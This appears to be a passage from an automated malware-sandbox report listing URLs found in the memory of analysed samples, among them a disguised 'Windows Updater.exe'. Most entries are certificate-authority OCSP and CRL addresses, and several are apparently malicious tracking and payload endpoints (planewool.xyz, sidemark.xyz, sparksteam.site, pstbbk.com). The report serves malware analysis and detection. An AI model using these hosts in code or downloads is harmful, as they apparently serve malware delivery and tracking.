Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489356662.0000000004320000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490509551.00000000061F0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0W
Source: a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489356662.0000000004320000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490509551.00000000061F0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.ncdc.gov.sa0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.gva.es0
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.suscerte.gob.ve0
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.registradores.org/normativa/index.htm0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://postsignum.ttc.cz/crl/psrootqca2.crl0
Source: a1.exe, 00000014.00000002.2488308459.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pstbbk.com
Source: a1.exe, 00000014.00000003.2312873578.00000000043CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pstbbk.com/
Source: a1.exe, 00000014.00000003.2314749111.00000000011C1000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://pstbbk.comAI_DeleteCadLzmaAI_IaLogInstallDataOnAnalyticsLogInstallDataAI_DATA_SETTER_4Advance
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.00000000025DF000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://send.planewool.xyz/track_inl2.php?tim=1701869569&poid=2598&p=1.25
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://send.planewool.xyz/track_polos.php?tim=1701869569&rcc=US&c=2598&p=0.9
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://send.planewool.xyz/track_uki.php?tim=1701869569&rcc=US&c=2598&p=0.92
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2318044040.00000000043EF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317443500.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0
Source: ZmWSzgevgt.tmp, 00000001.00000002.4546318478.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/
Source: ZmWSzgevgt.tmp, 00000001.00000003.2102655489.000000000098D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/i
Source: ZmWSzgevgt.tmp, 00000001.00000002.4550403877.0000000002424000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000975000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4546318478.0000000000976000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG
Source: ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000098D000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.000000000098D000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000961000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/
Source: ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000098D000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.000000000098D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/Q
Source: ZmWSzgevgt.exe, 00000000.00000003.2005457089.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000002.4546319029.0000000000AE4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4555717982.00000000037BD000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4555717982.000000000377A000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4550403877.000000000244B000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2010247622.0000000003490000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4550403877.000000000242C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyL
Source: ZmWSzgevgt.exe, 00000000.00000003.2005457089.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000002.4546319029.0000000000AE4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4555717982.00000000037BD000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000975000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4555717982.000000000377A000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000961000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000096B000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2010247622.0000000003490000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4550403877.000000000242C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/pill.php
Source: ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/pill.phpSm
Source: ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000961000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sparksteam.site/pill.phpXm
Source: a1.exe, 00000014.00000003.2487171415.0000000004382000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489984022.0000000004390000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486195028.000000000437E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: a1.exe, 00000014.00000003.2487171415.0000000004382000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489984022.0000000004390000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486195028.000000000437E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: http://t2.symcb.com0
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648735062.0000000002744000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2730765657.0000000002744000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: http://tl.symcd.com0&
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ncdc.gov.sa/crl/nrcacomb1.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ncdc.gov.sa/crl/nrcaparta1.crl
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2318044040.00000000043EF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317443500.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.acabogacia.org/doc0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.acabogacia.org0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agenment.clo
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agesic.gub.uy/acrn/acrn.crl0)
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agesic.gub.uy/acrn/cps_acrn.pdf0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ancert.com/cps0
Source: a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.anf.es
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.anf.es/AC/RC/ocsp0c
Source: a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.anf.es/es/address-direccion.html
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317443500.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ca.posta.rs/dokumentacija0h
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class1.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3.crl0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.comsign.co.il/cps0
Source: a1.exe, 00000014.00000003.2318044040.00000000043EB000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.datev.de/zertifikat-policy-bt0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.datev.de/zertifikat-policy-int0
Source: a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.datev.de/zertifikat-policy-std0
